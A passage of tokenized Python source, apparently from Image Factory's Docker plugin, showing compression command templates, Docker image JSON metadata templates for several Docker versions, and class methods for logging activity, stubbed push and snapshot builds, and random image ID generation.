" ", "%", "s", " ", ">", " ", "%", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "gzip", "\"_", ":_", "\"", "gzip", " ", "-", "c", " ", "%", "s", " ", ">", " ", "%", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "bz", "ip", "2", "\"_", ":_", "\"", "bz", "ip", "2", " ", "-", "c", " ", "%", "s", " ", ">", " ", "%", "s", "\"_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "template", "s", " ", "belo", "w", " ", "allow", " ", "us", " ", "to", " ", "generat", "e", " ", "base", " ", "images", " ", "with", "out", " ", "a", " ", "runn", "ing", " ", "docker", " ", "local", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "im", "cle", "od", "@", "red", "hat", ".", "com", " ", "-", " ", "2", "6", "-", "Au", "g", "-", "2014_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "know", " ", "of", " ", "at", " ", "leas", "t", " ", "two", " ", "different", " ", "output", " ", "JSO", "N", " ", "formats", ".", " ", " ", "The", "se", " ", "relate", " ", "to", " ", "some", " ", "JSO", "N", " ", "marshal", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "change", "s", " ", "in", " ", "the", " ", "docker", " ", "1.0", ".0", " ", "timeframe", ".", " ", " ", "At", " ", "the", " ", "time", " ", "of", " ", "this", " ", "comment", ",", " ", "the", " ", "ups", "tream", " ", "registr", "y", " ", "will", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "only", " ", "accept", " ", "the", " ", "older", " ", "0.11", ".1", " ", "format", " ", "whi", "ch", " ", "is", " ", "what", " ", "we", " ", "default", " ", "to", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", " ", "tha", "t", " ", "there", " ", "is", " ", "a", " ", "separate", " ", "\"", "VERSI", "ON", "\"", " ", "file", " ", "in", " ", "each", " ", "subdirectory", ".", " ", " ", "As", " ", "of", " ", "this", " ", "comment_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tha", "t", " ", "file", " ", "alw", "ay", "s", " ", "contain", "s", " ", "1.0_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "Get", " ", "rid", " ", "of", " ", "these", " ", "sil", "ly", " ", "string", " ", "template", "s", " ", "and", " ", "just", " ", "use", " ", "the", " ", "json", " ", "module", " ", "and", " ", "dicts_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "vb", "att", "s", " ", "point", "ed", " ", "out", " ", "tha", "t", " ", "creati", "ng", " ", "these", " ", "as", " ", "string", " ", "template", "s", " ", "is", " ", "kind", " ", "of", " ", "sil", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "sinc", "e", " ", "we", " ", "can", " ", "just", " ", "build", " ", "them", " ", "up", " ", "as", " ", "nest", "ed", " ", "dict", "s", " ", "and", " ", "use", " ", "json", " ", "tool", "s", " ", "to", " ", "create_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "the", " ", "require", "d", " ", "string", "s", ".", " ", " ", "I", " ", "original", "ly", " ", "used", " ", "string", "s", " ", "to", " ", "ensure", " ", "abs", "olute", " ", "fid", "elit", "y", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "the", " ", "observe", "d", " ", "docker", " ", "output", ",", " ", "but", " ", "there", "'", "s", " ", "no", " ", "real", " ", "technical", " ", "reason", " ", "to", " ", "do", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "docker", "\\u", "json", "\\u", "template", "\\u", "0", "\\u", "11", "\\u", "1_", "=_", "\"\"\"{", "{", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "\"{", "ids", "tring", "}\"", ",", "\\", "10", ";", " ", " ", "\"", "comment", "\":", " ", "\"{", "comment", "string", "}\"", ",", "\\", "10", ";", " ", " ", "\"", "created", "\":", " ", "\"{", "created", "time", "}\"", ",", "\\", "10", ";", " ", " ", "\"", "container", "\\u", "config", "\":", " ", "{{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Cmd", "\":", " ", "{", "cmd", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Env", "\":", " ", "{", "env", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Label", "s", "\":", " ", "{", "label", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Std", "in", "On", "ce", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Open", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Tt", "y", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Expos", "ed", "Port", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Stdout", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Image", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Volume", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Work", "ing", "Dir", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Entr", "ypo", "int", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Network", "Disa", "ble", "d", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "On", "Build", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Cp", "u", "Share", "s", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Memo", "ry", "Swa", "p", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Memo", "ry", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "User", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Doma", "inn", "ame", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Host", "name", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "err", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Port", "Spec", "s", "\":", " ", "null", "\\", "10", ";", " ", " ", "}}", ",", "\\", "10", ";", " ", " ", "\"", "docker", "\\u", "version", "\":", " ", "\"", "0.11", ".1", "\",", "\\", "10", ";", " ", " ", "\"", "architecture", "\":", " ", "\"{", "arch", "}\"", ",", "\\", "10", ";", " ", " ", "\"", "os", "\":", " ", "\"{", "os", "}\"", ",", "\\", "10", ";", " ", " ", "\"", "Size", "\":", " ", "{", "size", "}", "\\", "10", ";}", "}\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "docker", "\\u", "json", "\\u", "template", "\\u", "1", "\\u", "0", "\\u", "0_", "=_", "\"\"\"{", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Comme", "nt", "\":", " ", "\"{", "comment", "string", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Containe", "r", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Docke", "r", "Version", "\":", " ", "\"", "1.0", ".0", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Parent", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Author", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Os", "\":", " ", "\"{", "os", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Creat", "ed", "\":", " ", "\"{", "created", "time", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Architecture", "\":", " ", "\"{", "arch", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Containe", "r", "Config", "\":", " ", "{{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Memo", "ry", "Swa", "p", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Host", "name", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Entr", "ypo", "int", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Port", "Spec", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Memo", "ry", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "On", "Build", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Open", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Cp", "uset", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Env", "\":", " ", "{", "env", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "User", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Cp", "u", "Share", "s", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Stdout", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Network", "Disa", "ble", "d", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Work", "ing", "Dir", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Cmd", "\":", " ", "{", "cmd", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Label", "s", "\":", " ", "{", "label", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Std", "in", "On", "ce", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Volume", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Tt", "y", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "err", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Doma", "inn", "ame", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Image", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Expos", "ed", "Port", "s", "\":", " ", "null", "\\", "10", ";", " ", " ", " ", " ", "}}", ",", " ", "\\", "10", ";", " ", " ", " ", " ", "\"", "Config", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Id", "\":", " ", "\"{", "ids", "tring", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Size", "\":", " ", "{", "size", "}", "\\", "10", ";}", "}", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "docker", "\\u", "json", "\\u", "template", "\\u", "1", "\\u", "7", "\\u", "0_", "=_", "\"\"\"{", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Size", "\":", " ", "{", "size", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "architecture", "\":", " ", "\"{", "arch", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "comment", "\":", " ", "\"{", "comment", "string", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "config", "\":", " ", "{{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "err", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Stdout", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Cmd", "\":", " ", "{", "cmd", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Doma", "inn", "ame", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Entr", "ypo", "int", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Env", "\":", " ", "{", "env", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Expos", "ed", "Port", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Host", "name", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Image", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Label", "s", "\":", " ", "{", "label", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Mac", "Address", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Network", "Disa", "ble", "d", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "On", "Build", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Open", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Std", "in", "On", "ce", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "System", "d", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Tt", "y", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "User", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Volume", "Drive", "r", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Volume", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Work", "ing", "Dir", "\":", " ", "\"\"", "\\", "10", ";", " ", " ", " ", " ", "}}", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "container", "\\u", "config", "\":", " ", "{{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "err", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Stdout", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Cmd", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Doma", "inn", "ame", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Entr", "ypo", "int", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Env", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Expos", "ed", "Port", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Host", "name", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Image", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Label", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Mac", "Address", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Network", "Disa", "ble", "d", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "On", "Build", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Open", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Std", "in", "On", "ce", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "System", "d", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Tt", "y", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "User", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Volume", "Drive", "r", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Volume", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Work", "ing", "Dir", "\":", " ", "\"\"", "\\", "10", ";", " ", " ", " ", " ", "}}", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "created", "\":", " ", "\"{", "created", "time", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "docker", "\\u", "version", "\":", " ", "\"", "1.7", ".0", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "\"{", "ids", "tring", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "os", "\":", " ", "\"{", "os", "}\"", "\\", "10", ";}", "}\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "docker", "\\u", "json", "\\u", "template", "\\u", "1", "\\u", "10", "\\u", "1_", "=_", "\"\"\"{", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Size", "\":", " ", "{", "size", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "architecture", "\":", " ", "\"{", "arch", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "comment", "\":", " ", "\"{", "comment", "string", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "config", "\":", " ", "{{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "err", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Stdout", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Cmd", "\":", " ", "{", "cmd", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Doma", "inn", "ame", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Entr", "ypo", "int", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Env", "\":", " ", "{", "env", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Expos", "ed", "Port", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Host", "name", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Image", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Label", "s", "\":", " ", "{", "label", "},", "\\", "10", ";", " ", " ", " ", " ", "\"", "Mac", "Address", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Network", "Disa", "ble", "d", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "On", "Build", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Open", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Std", "in", "On", "ce", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "System", "d", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Tt", "y", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "User", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Volume", "Drive", "r", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Volume", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Work", "ing", "Dir", "\":", " ", "\"\"", "\\", "10", ";", " ", " ", " ", " ", "}}", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "container", "\\u", "config", "\":", " ", "{{", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "err", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Attach", "Stdout", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Cmd", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Doma", "inn", "ame", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Entr", "ypo", "int", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Env", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Expos", "ed", "Port", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Host", "name", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Image", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Label", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Mac", "Address", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Network", "Disa", "ble", "d", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "On", "Build", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Open", "Std", "in", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Std", "in", "On", "ce", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "System", "d", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Tt", "y", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "User", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Volume", "Drive", "r", "\":", " ", "\"\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Volume", "s", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "Work", "ing", "Dir", "\":", " ", "\"\"", "\\", "10", ";", " ", " ", " ", " ", "}}", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "created", "\":", " ", "\"{", "created", "time", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "docker", "\\u", "version", "\":", " ", "\"", "1.1", "0.", "1", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "\"{", "ids", "tring", "}\"", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "os", "\":", " ", "\"{", "os", "}\"", "\\", "10", ";}", "}\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "docker", "\\u", "template", "s", "\\u", "dict_", "=_", "{_", "\"", "0.11", ".1", "\"_", ":_", "docker", "\\u", "json", "\\u", "template", "\\u", "0", "\\u", "11", "\\u", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "1.0", ".0", "\"_", ":_", "docker", "\\u", "json", "\\u", "template", "\\u", "1", "\\u", "0", "\\u", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "1.7", ".0", "\"_", ":_", "docker", "\\u", "json", "\\u", "template", "\\u", "1", "\\u", "7", "\\u", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "1.1", "0.", "1", "\"_", ":_", "docker", "\\u", "json", "\\u", "template", "\\u", "1", "\\u", "10", "\\u", "1_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Docke", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Docke", "r_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "app", "\\u", "config_", "=_", "Applica", "tion", "Configuration_", "(_", ")_", "._", "configuration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "'%", "s", ".", "%", "s", "'_", "%_", "(_", "\\u\\u", "name\\u\\u_", ",_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Docke", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "activity_", "(_", "self_", ",_", "activity_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Simple", " ", "help", "er", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Activ", "it", "y", " ", "shou", "ld", " ", "be", " ", "a", " ", "one", " ", "line", " ", "human", "-", "reada", "ble", " ", "string", " ", "indicati", "ng", " ", "the", " ", "task", " ", "in", " ", "progress_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "log", " ", "it", " ", "at", " ", "DEBU", "G", " ", "and", " ", "als", "o", " ", "set", " ", "it", " ", "as", " ", "the", " ", "status", "\\u", "deta", "il", " ", "on", " ", "our", " ", "active", " ", "image_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log_", "._", "debug_", "(_", "activity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "active", "\\u", "image_", "._", "status", "\\u", "detail_", "[_", "'", "activit", "y", "'_", "]_", "=_", "activity_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Docke", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "push", "\\u", "image", "\\u", "to", "\\u", "provider_", "(_", "self_", ",_", "builder_", ",_", "provider_", ",_", "credentials_", ",_", "target_", ",_", "target", "\\u", "image_", ",_", "parameters_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Image", "Factor", "y", "Exception_", "(_", "\"", "Push", "ing", " ", "not", " ", "currentl", "y", " ", "support", "ed", " ", "for", " ", "Docke", "r", " ", "image", " ", "builds", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Docke", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "snapshot", "\\u", "image", "\\u", "on", "\\u", "provider_", "(_", "self_", ",_", "builder_", ",_", "provider_", ",_", "credentials_", ",_", "template_", ",_", "parameters_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "Impl", "ement", " ", "snapshot", " ", "builds_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Image", "Factor", "y", "Exception_", "(_", "\"", "Snapshot", " ", "builds", " ", "not", " ", "currentl", "y", " ", "support", "ed", " ", "for", " ", "Docke", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Docke", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "generat", "e\\u", "docker", "\\u", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "return", " ", "a", " ", "random", " ", "64", " ", "digit", " ", "hex", " ", "number_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "did_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "8_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "did_", "+=_", "\"%", "0", "8", "x", "\"_", "%_", "(_", "random_", "._", "randint_", "(_", "0_", ",_", "2_", "**_", "32_", ")_", ")_", 